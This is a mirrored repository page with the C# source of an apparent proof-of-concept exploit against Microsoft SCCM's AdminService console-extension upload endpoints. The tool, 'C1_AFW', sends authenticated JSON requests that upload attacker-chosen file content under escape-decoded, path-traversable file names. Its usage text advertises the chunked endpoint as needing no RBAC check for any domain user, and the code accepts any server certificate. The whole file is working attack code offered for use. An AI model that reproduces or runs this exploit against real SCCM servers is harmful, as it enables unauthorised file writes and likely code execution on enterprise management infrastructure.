mirror of
https://github.com/OmriBaso/SCCM-CVE-2026-47301-Remote-Code-Execution-Exploit
synced 2026-08-14 10:52:25 +00:00
413 lines
17 KiB
C#
413 lines
17 KiB
C#
using System;
|
|
using System.IO;
|
|
using System.Net;
|
|
using System.Net.Http;
|
|
using System.Text;
|
|
using System.Threading.Tasks;
|
|
|
|
namespace SccmAdminServiceCabAfwPoC
|
|
{
|
|
internal static class Program
|
|
{
|
|
private const string C1_Endpoint =
|
|
"/AdminService/v1.0/ConsoleExtensionMetadata/AdminService.UploadExtensionInChunks";
|
|
|
|
private const string C2_Endpoint =
|
|
"/AdminService/v1.0/ConsoleExtensionMetadata/AdminService.UploadExtension";
|
|
|
|
private static async Task<int> Main(string[] args)
|
|
{
|
|
if (args.Length < 1) { PrintUsage(); return 1; }
|
|
|
|
string sub = args[0].ToLowerInvariant();
|
|
|
|
bool useHttp = false;
|
|
bool verbose = false;
|
|
bool useC2 = false;
|
|
int? portOverride = null;
|
|
string allowUnsignedJson = "false"; // raw JSON token; default to bool false (binder-safe)
|
|
string payloadText = null; // --text "<string>" override
|
|
var positional = new System.Collections.Generic.List<string>();
|
|
for (int i = 1; i < args.Length; i++)
|
|
{
|
|
string a = args[i];
|
|
if (a.Equals("--http", StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
useHttp = true;
|
|
}
|
|
else if (a.Equals("--c2", StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
useC2 = true;
|
|
}
|
|
else if (a.Equals("--verbose", StringComparison.OrdinalIgnoreCase)
|
|
|| a.Equals("-v", StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
verbose = true;
|
|
}
|
|
else if (a.Equals("--port", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
|
|
{
|
|
if (!int.TryParse(args[++i], out int p) || p <= 0 || p > 65535)
|
|
{
|
|
Console.Error.WriteLine("--port must be 1-65535");
|
|
return 1;
|
|
}
|
|
portOverride = p;
|
|
}
|
|
else if (a.Equals("--allow-unsigned", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
|
|
{
|
|
allowUnsignedJson = ToJsonToken(args[++i]);
|
|
}
|
|
else if ((a.Equals("--text", StringComparison.OrdinalIgnoreCase)
|
|
|| a.Equals("--content", StringComparison.OrdinalIgnoreCase))
|
|
&& i + 1 < args.Length)
|
|
{
|
|
payloadText = args[++i];
|
|
}
|
|
else
|
|
{
|
|
positional.Add(a);
|
|
}
|
|
}
|
|
|
|
string scheme = useHttp ? "http" : "https";
|
|
int port = portOverride ?? (useHttp ? 80 : 443);
|
|
|
|
switch (sub)
|
|
{
|
|
case "probe":
|
|
if (positional.Count < 1) { PrintUsage(); return 1; }
|
|
return await RunProbe(scheme, positional[0], port, allowUnsignedJson,
|
|
positional.Count >= 2 ? positional[1] : null, verbose, useC2);
|
|
|
|
case "write":
|
|
if (positional.Count < 2) { PrintUsage(); return 1; }
|
|
return await RunWrite(scheme, positional[0], port, allowUnsignedJson,
|
|
positional[1],
|
|
positional.Count >= 3 ? positional[2] : null,
|
|
payloadText, verbose, useC2);
|
|
|
|
default:
|
|
PrintUsage();
|
|
return 1;
|
|
}
|
|
}
|
|
|
|
// Convert a CLI string into a raw JSON token:
|
|
// "3", "-1" -> number (3, -1)
|
|
// "true" / "false" -> boolean (true, false)
|
|
// "null" -> null
|
|
// anything else -> JSON string ("...")
|
|
private static string ToJsonToken(string s)
|
|
{
|
|
if (s == null) return "null";
|
|
if (s.Equals("true", StringComparison.OrdinalIgnoreCase)) return "true";
|
|
if (s.Equals("false", StringComparison.OrdinalIgnoreCase)) return "false";
|
|
if (s.Equals("null", StringComparison.OrdinalIgnoreCase)) return "null";
|
|
if (long.TryParse(s, out _)) return s;
|
|
if (double.TryParse(s, System.Globalization.NumberStyles.Float,
|
|
System.Globalization.CultureInfo.InvariantCulture, out _)) return s;
|
|
return "\"" + JsonEscape(s) + "\"";
|
|
}
|
|
|
|
private static string BuildUrl(string scheme, string host, int port, bool c2)
|
|
{
|
|
bool defaultPort = (scheme == "https" && port == 443) || (scheme == "http" && port == 80);
|
|
string authority = defaultPort ? host : (host + ":" + port);
|
|
return scheme + "://" + authority + (c2 ? C2_Endpoint : C1_Endpoint);
|
|
}
|
|
|
|
private static async Task<int> RunProbe(string scheme, string host, int port, string allowUnsignedJson, string markerText, bool verbose, bool c2)
|
|
{
|
|
if (string.IsNullOrEmpty(markerText))
|
|
{
|
|
markerText = "probe " + DateTime.UtcNow.ToString("O") + " "
|
|
+ Environment.UserDomainName + "\\" + Environment.UserName;
|
|
}
|
|
|
|
byte[] payload = Encoding.UTF8.GetBytes(markerText);
|
|
string payloadB64 = Convert.ToBase64String(payload);
|
|
|
|
string body;
|
|
if (c2)
|
|
{
|
|
body =
|
|
"{"
|
|
+ "\"AllowUnsigned\":" + allowUnsignedJson + ","
|
|
+ "\"CabFile\":{"
|
|
+ "\"FileName\":\"probe_marker.cab\","
|
|
+ "\"FileContent\":\"" + payloadB64 + "\""
|
|
+ "}"
|
|
+ "}";
|
|
}
|
|
else
|
|
{
|
|
Guid sessionId = Guid.NewGuid();
|
|
body =
|
|
"{"
|
|
+ "\"SessionId\":\"" + sessionId + "\","
|
|
+ "\"IsFinalChunk\":false,"
|
|
+ "\"AllowUnsigned\":" + allowUnsignedJson + ","
|
|
+ "\"CabFile\":{"
|
|
+ "\"FileName\":\"probe_marker.txt\","
|
|
+ "\"FileContent\":\"" + payloadB64 + "\""
|
|
+ "}"
|
|
+ "}";
|
|
}
|
|
|
|
string url = BuildUrl(scheme, host, port, c2);
|
|
|
|
Console.WriteLine("Mode : probe");
|
|
Console.WriteLine("Chain : " + (c2 ? "C2 (UploadExtension — requires RBAC)" : "C1 (UploadExtensionInChunks — no RBAC)"));
|
|
Console.WriteLine("Target : " + host);
|
|
Console.WriteLine("Identity : " + Environment.UserDomainName + "\\" + Environment.UserName);
|
|
Console.WriteLine("Auth : SSPI (Negotiate/Kerberos)");
|
|
if (verbose)
|
|
{
|
|
Console.WriteLine("Endpoint : " + url);
|
|
Console.WriteLine("Payload : " + payload.Length + " bytes");
|
|
Console.WriteLine();
|
|
Console.WriteLine("Request JSON:");
|
|
Console.WriteLine(body);
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine();
|
|
Console.WriteLine("[Presentation Mode - Hiding Parameters]");
|
|
}
|
|
Console.WriteLine();
|
|
|
|
return await SendAndReport(url, body, verbose);
|
|
}
|
|
|
|
private static async Task<int> RunWrite(string scheme, string host, int port, string allowUnsignedJson, string fileName, string payloadPath, string payloadText, bool verbose, bool c2)
|
|
{
|
|
byte[] payload;
|
|
if (payloadText != null)
|
|
{
|
|
payload = Encoding.UTF8.GetBytes(DecodeEscapes(payloadText));
|
|
}
|
|
else if (!string.IsNullOrEmpty(payloadPath))
|
|
{
|
|
payload = File.ReadAllBytes(payloadPath);
|
|
}
|
|
else
|
|
{
|
|
payload = Encoding.UTF8.GetBytes(
|
|
"AFW marker " + DateTime.UtcNow.ToString("O") + " "
|
|
+ Environment.UserDomainName + "\\" + Environment.UserName);
|
|
}
|
|
|
|
fileName = DecodeEscapes(fileName);
|
|
|
|
string payloadB64 = Convert.ToBase64String(payload);
|
|
|
|
string body;
|
|
if (c2)
|
|
{
|
|
body =
|
|
"{"
|
|
+ "\"AllowUnsigned\":" + allowUnsignedJson + ","
|
|
+ "\"CabFile\":{"
|
|
+ "\"FileName\":\"" + JsonEscape(fileName) + "\","
|
|
+ "\"FileContent\":\"" + payloadB64 + "\""
|
|
+ "}"
|
|
+ "}";
|
|
}
|
|
else
|
|
{
|
|
Guid sessionId = Guid.NewGuid();
|
|
body =
|
|
"{"
|
|
+ "\"SessionId\":\"" + sessionId + "\","
|
|
+ "\"IsFinalChunk\":true,"
|
|
+ "\"AllowUnsigned\":" + allowUnsignedJson + ","
|
|
+ "\"CabFile\":{"
|
|
+ "\"FileName\":\"" + JsonEscape(fileName) + "\","
|
|
+ "\"FileContent\":\"" + payloadB64 + "\""
|
|
+ "}"
|
|
+ "}";
|
|
}
|
|
|
|
string url = BuildUrl(scheme, host, port, c2);
|
|
|
|
Console.WriteLine("Mode : write");
|
|
Console.WriteLine("Chain : " + (c2 ? "C2 (UploadExtension — requires RBAC)" : "C1 (UploadExtensionInChunks — no RBAC)"));
|
|
Console.WriteLine("Target : " + host);
|
|
Console.WriteLine("Identity : " + Environment.UserDomainName + "\\" + Environment.UserName);
|
|
Console.WriteLine("Auth : SSPI (Negotiate/Kerberos)");
|
|
if (verbose)
|
|
{
|
|
Console.WriteLine("Endpoint : " + url);
|
|
Console.WriteLine("FileName : " + fileName);
|
|
Console.WriteLine("Payload : " + payload.Length + " bytes");
|
|
Console.WriteLine();
|
|
Console.WriteLine("Request JSON:");
|
|
Console.WriteLine(body);
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine();
|
|
Console.WriteLine("[Presentation Mode - Hiding Parameters]");
|
|
}
|
|
Console.WriteLine();
|
|
|
|
return await SendAndReport(url, body, verbose);
|
|
}
|
|
|
|
private static async Task<int> SendAndReport(string url, string body, bool verbose)
|
|
{
|
|
HttpStatusCode status;
|
|
string respBody;
|
|
try
|
|
{
|
|
var r = await SendAsync(url, body);
|
|
status = r.Item1;
|
|
respBody = r.Item2;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.Error.WriteLine("Transport failure:");
|
|
int depth = 0;
|
|
for (Exception cur = ex; cur != null; cur = cur.InnerException, depth++)
|
|
{
|
|
Console.Error.WriteLine(new string(' ', depth * 2)
|
|
+ cur.GetType().Name + ": " + cur.Message);
|
|
}
|
|
return 3;
|
|
}
|
|
|
|
Console.WriteLine("HTTP " + (int)status + " " + status);
|
|
if (verbose)
|
|
{
|
|
Console.WriteLine("Body : " + respBody);
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine("Body : [Hidden - use --verbose to show]");
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
private static async Task<Tuple<HttpStatusCode, string>> SendAsync(string url, string body)
|
|
{
|
|
var handler = new HttpClientHandler
|
|
{
|
|
UseDefaultCredentials = true,
|
|
PreAuthenticate = true,
|
|
Credentials = CredentialCache.DefaultNetworkCredentials,
|
|
AllowAutoRedirect = false,
|
|
ServerCertificateCustomValidationCallback =
|
|
HttpClientHandler.DangerousAcceptAnyServerCertificateValidator,
|
|
};
|
|
handler.SslProtocols =
|
|
System.Security.Authentication.SslProtocols.Tls12 |
|
|
System.Security.Authentication.SslProtocols.Tls13;
|
|
|
|
using (var client = new HttpClient(handler) { Timeout = TimeSpan.FromSeconds(30) })
|
|
using (var req = new HttpRequestMessage(HttpMethod.Post, url))
|
|
{
|
|
req.Content = new StringContent(body, Encoding.UTF8, "application/json");
|
|
using (var resp = await client.SendAsync(req))
|
|
{
|
|
string text = await resp.Content.ReadAsStringAsync();
|
|
return Tuple.Create(resp.StatusCode, text);
|
|
}
|
|
}
|
|
}
|
|
|
|
// Decode \xHH and \uHHHH from CLI strings into actual chars. Leaves any
|
|
// other backslash sequence alone (so Windows paths like ..\foo\bar work).
|
|
private static string DecodeEscapes(string s)
|
|
{
|
|
if (string.IsNullOrEmpty(s)) return s;
|
|
var sb = new StringBuilder(s.Length);
|
|
int i = 0;
|
|
while (i < s.Length)
|
|
{
|
|
char c = s[i];
|
|
if (c == '\\' && i + 1 < s.Length)
|
|
{
|
|
char n = s[i + 1];
|
|
if (n == 'x' && i + 4 <= s.Length
|
|
&& int.TryParse(s.Substring(i + 2, 2),
|
|
System.Globalization.NumberStyles.HexNumber,
|
|
System.Globalization.CultureInfo.InvariantCulture, out int b))
|
|
{
|
|
sb.Append((char)b);
|
|
i += 4;
|
|
continue;
|
|
}
|
|
if (n == 'u' && i + 6 <= s.Length
|
|
&& int.TryParse(s.Substring(i + 2, 4),
|
|
System.Globalization.NumberStyles.HexNumber,
|
|
System.Globalization.CultureInfo.InvariantCulture, out int cp))
|
|
{
|
|
sb.Append((char)cp);
|
|
i += 6;
|
|
continue;
|
|
}
|
|
}
|
|
sb.Append(c);
|
|
i++;
|
|
}
|
|
return sb.ToString();
|
|
}
|
|
|
|
private static string JsonEscape(string s)
|
|
{
|
|
var sb = new StringBuilder(s.Length + 8);
|
|
foreach (char c in s)
|
|
{
|
|
switch (c)
|
|
{
|
|
case '\\': sb.Append("\\\\"); break;
|
|
case '"': sb.Append("\\\""); break;
|
|
case '\b': sb.Append("\\b"); break;
|
|
case '\f': sb.Append("\\f"); break;
|
|
case '\n': sb.Append("\\n"); break;
|
|
case '\r': sb.Append("\\r"); break;
|
|
case '\t': sb.Append("\\t"); break;
|
|
default:
|
|
if (c < 0x20) sb.AppendFormat("\\u{0:X4}", (int)c);
|
|
else sb.Append(c);
|
|
break;
|
|
}
|
|
}
|
|
return sb.ToString();
|
|
}
|
|
|
|
private static string Truncate(string s, int n)
|
|
{
|
|
if (string.IsNullOrEmpty(s)) return string.Empty;
|
|
return s.Length <= n ? s : s.Substring(0, n) + "...";
|
|
}
|
|
|
|
private static void PrintUsage()
|
|
{
|
|
Console.WriteLine("Usage:");
|
|
Console.WriteLine(" C1_AFW.exe probe [flags] <host> [marker_text]");
|
|
Console.WriteLine(" C1_AFW.exe write [flags] <host> <filename> [payload_file]");
|
|
Console.WriteLine();
|
|
Console.WriteLine("Chains:");
|
|
Console.WriteLine(" (default) C1 — UploadExtensionInChunks (no RBAC check, any domain user)");
|
|
Console.WriteLine(" --c2 C2 — UploadExtension (requires Create on SMS_ConsoleExtensionData)");
|
|
Console.WriteLine();
|
|
Console.WriteLine("Flags:");
|
|
Console.WriteLine(" --c2 use C2 chain (UploadExtension with RBAC)");
|
|
Console.WriteLine(" --verbose / -v show full request details (endpoints, JSON, response body)");
|
|
Console.WriteLine(" --http use http:// instead of https://");
|
|
Console.WriteLine(" --port N override port (default 443/80)");
|
|
Console.WriteLine(" --allow-unsigned V value for the AllowUnsigned parameter (default: false)");
|
|
Console.WriteLine(" --text \"<string>\" supply payload as UTF-8 text directly from CLI");
|
|
Console.WriteLine(" --content \"<string>\" alias for --text");
|
|
Console.WriteLine();
|
|
Console.WriteLine("Examples:");
|
|
Console.WriteLine(" C1_AFW.exe probe <host> C1: probe as any domain user");
|
|
Console.WriteLine(" C1_AFW.exe probe --c2 <host> C2: probe as Operations Admin");
|
|
Console.WriteLine(" C1_AFW.exe write <host> <filename> <cab_file> C1: upload via chunked (no RBAC)");
|
|
Console.WriteLine(" C1_AFW.exe write --c2 <host> <filename> <cab> C2: upload via UploadExtension");
|
|
Console.WriteLine(" C1_AFW.exe write --verbose <host> <filename>");
|
|
}
|
|
}
|
|
}
|